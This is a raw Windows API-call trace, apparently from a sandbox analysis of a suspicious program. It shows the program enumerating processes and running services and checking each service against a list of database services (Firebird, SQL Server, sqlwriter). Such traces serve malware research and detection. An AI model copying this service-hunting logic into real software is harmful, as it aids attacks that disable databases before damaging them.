	[0171.864] Process32NextW (in: hSnapshot=0x364, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0
	[0171.865] CloseHandle (hObject=0x364) returned 1
	[0171.865] Sleep (dwMilliseconds=0x1f4) 
	[0172.674] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x45affa8
	[0172.675] EnumServicesStatusExW (in: hSCManager=0x45affa8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x263ff3c, lpServicesReturned=0x263ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x263ff3c, lpServicesReturned=0x263ff54, lpResumeHandle=0x0) returned 0
	[0172.675] GetLastError () returned 0xea
	[0172.675] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x1bc4) returned 0x4642fd8
	[0172.676] EnumServicesStatusExW (in: hSCManager=0x45affa8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4642fd8, cbBufSize=0x1bc4, pcbBytesNeeded=0x263ff3c, lpServicesReturned=0x263ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4642fd8, pcbBytesNeeded=0x263ff3c, lpServicesReturned=0x263ff54, lpResumeHandle=0x0) returned 1
	[0172.677] CloseServiceHandle (hSCObject=0x45affa8) returned 1
	[0172.677] lstrlenW (lpString="Appinfo") returned 7
	[0172.677] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0172.677] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0172.677] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0172.677] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0172.677] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0172.677] lstrlenW (lpString="AppXSvc") returned 7
	[0172.677] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0172.677] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0172.678] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0172.678] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0172.678] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0172.678] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0172.678] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0172.678] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0172.678] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0172.678] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0172.678] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0172.678] lstrlenW (lpString="Audiosrv") returned 8
	[0172.678] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0172.678] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0172.678] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0172.678] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0172.678] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0172.678] lstrlenW (lpString="BFE") returned 3
	[0172.678] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0172.678] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0172.678] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0172.678] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0172.678] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0172.678] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0172.678] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0172.678] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0172.678] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0172.679] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0172.679] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0172.679] lstrlenW (lpString="CDPSvc") returned 6
	[0172.679] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0172.679] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0172.679] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0172.679] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0172.679] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0172.679] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0172.679] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0172.679] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0172.679] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0172.679] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0172.679] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0172.679] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0172.700] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0172.700] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0172.700] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0172.700] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0172.700] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0172.700] lstrlenW (lpString="CryptSvc") returned 8
	[0172.700] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0172.700] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0172.700] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0172.700] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0172.700] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0172.700] lstrlenW (lpString="DcomLaunch") returned 10
	[0172.700] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0172.700] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0172.700] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0172.700] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0172.700] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0172.700] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0172.700] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0172.701] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0172.701] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0172.701] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0172.701] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0172.701] lstrlenW (lpString="Dhcp") returned 4
	[0172.701] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0172.701] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0172.701] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0172.701] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0172.701] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0172.701] lstrlenW (lpString="Dnscache") returned 8
	[0172.701] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0172.701] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0172.701] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0172.701] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0172.701] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0172.701] lstrlenW (lpString="DPS") returned 3
	[0172.701] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0172.701] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0172.701] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0172.701] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0172.701] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0172.701] lstrlenW (lpString="DusmSvc") returned 7
	[0172.702] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0172.702] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0172.702] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0172.702] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0172.702] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0172.702] lstrlenW (lpString="EventLog") returned 8
	[0172.702] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0172.702] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0172.702] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0172.702] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0172.702] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0172.702] lstrlenW (lpString="EventSystem") returned 11
	[0172.702] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0172.702] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0172.702] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0172.702] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0172.705] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0172.705] lstrlenW (lpString="FontCache") returned 9
	[0172.705] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0172.705] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0172.705] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0172.705] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0172.705] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0172.705] lstrlenW (lpString="gpsvc") returned 5
	[0172.705] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0172.705] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0172.705] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0172.705] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0172.705] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0172.705] lstrlenW (lpString="iphlpsvc") returned 8
	[0172.705] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0172.705] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0172.705] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0172.706] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0172.706] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0172.706] lstrlenW (lpString="KeyIso") returned 6
	[0172.706] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0172.706] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0172.706] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0172.706] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0172.706] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0172.706] lstrlenW (lpString="LanmanServer") returned 12
	[0172.706] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0172.706] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0172.706] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0172.706] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0172.706] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0172.706] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0172.706] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0172.706] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0172.706] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0172.706] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0172.706] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0172.706] lstrlenW (lpString="lfsvc") returned 5
	[0172.706] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0172.706] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0172.706] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0172.706] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0172.706] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0172.706] lstrlenW (lpString="lmhosts") returned 7
	[0172.707] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0172.707] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0172.707] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0172.707] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0172.707] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0172.707] lstrlenW (lpString="LSM") returned 3
	[0172.707] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0172.707] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0172.707] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0172.707] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0172.707] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0172.707] lstrlenW (lpString="MpsSvc") returned 6
	[0172.707] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0172.707] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0172.707] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0172.707] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0172.707] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0172.707] lstrlenW (lpString="NcbService") returned 10
	[0172.707] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0172.707] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0172.707] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0172.707] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0172.707] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0172.707] lstrlenW (lpString="netprofm") returned 8
	[0172.707] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0172.708] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0172.708] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0172.708] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0172.708] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0172.708] lstrlenW (lpString="NgcSvc") returned 6
	[0172.708] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1
	[0172.708] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1
	[0172.708] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1
	[0172.708] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1
	[0172.708] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1
	[0172.708] lstrlenW (lpString="NlaSvc") returned 6
	[0172.708] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0172.708] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0172.708] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0172.708] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0172.708] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0172.708] lstrlenW (lpString="nsi") returned 3
	[0172.708] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0172.708] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0172.708] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0172.708] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0172.708] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0172.708] lstrlenW (lpString="PcaSvc") returned 6
	[0172.708] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0172.708] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0172.708] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0172.709] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0172.709] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0172.709] lstrlenW (lpString="PlugPlay") returned 8
	[0172.709] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0172.709] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0172.709] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0172.709] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0172.709] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0172.709] lstrlenW (lpString="Power") returned 5
	[0172.709] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0172.709] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0172.709] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0172.709] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0172.709] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0172.709] lstrlenW (lpString="ProfSvc") returned 7
	[0172.709] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0172.709] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0172.709] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0172.709] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0172.709] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0172.709] lstrlenW (lpString="RpcEptMapper") returned 12
	[0172.709] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0172.709] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0172.709] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0172.709] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0172.709] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0172.709] lstrlenW (lpString="RpcSs") returned 5
	[0172.710] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0172.710] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0172.710] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0172.710] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0172.710] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0172.710] lstrlenW (lpString="SamSs") returned 5
	[0172.710] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0172.710] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0172.710] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0172.710] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0172.710] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0172.710] lstrlenW (lpString="Schedule") returned 8
	[0172.710] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0172.710] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0172.710] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0172.710] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0172.710] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0172.710] lstrlenW (lpString="SecurityHealthService") returned 21
	[0173.023] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0173.023] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0173.023] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0173.023] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0173.023] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0173.023] lstrlenW (lpString="SENS") returned 4
	[0173.023] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0173.023] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0173.023] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0173.023] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0173.023] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0173.023] lstrlenW (lpString="ShellHWDetection") returned 16
	[0173.023] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0173.024] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0173.024] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0173.024] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0173.024] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0173.024] lstrlenW (lpString="Spooler") returned 7
	[0173.024] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0173.024] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0173.024] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0173.024] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0173.024] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0173.024] lstrlenW (lpString="StateRepository") returned 15
	[0173.024] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0173.024] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0173.024] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0173.024] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0173.024] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0173.024] lstrlenW (lpString="SysMain") returned 7
	[0173.024] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0173.025] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0173.025] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0173.025] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0173.025] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0173.025] lstrlenW (lpString="SystemEventsBroker") returned 18
	[0173.025] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0173.025] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0173.025] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1
	[0173.025] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1
	[0173.025] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1
	[0173.025] lstrlenW (lpString="Themes") returned 6
	[0173.025] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0173.025] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0173.025] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0173.025] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0173.025] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0173.025] lstrlenW (lpString="tiledatamodelsvc") returned 16
	[0173.025] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0173.025] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0173.025] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1
	[0173.025] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1
	[0173.025] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4642fd8 | out: hHeap=0x4f0000) returned 1
	[0173.026] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x458
	[0173.031] Process32FirstW (in: hSnapshot=0x458, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
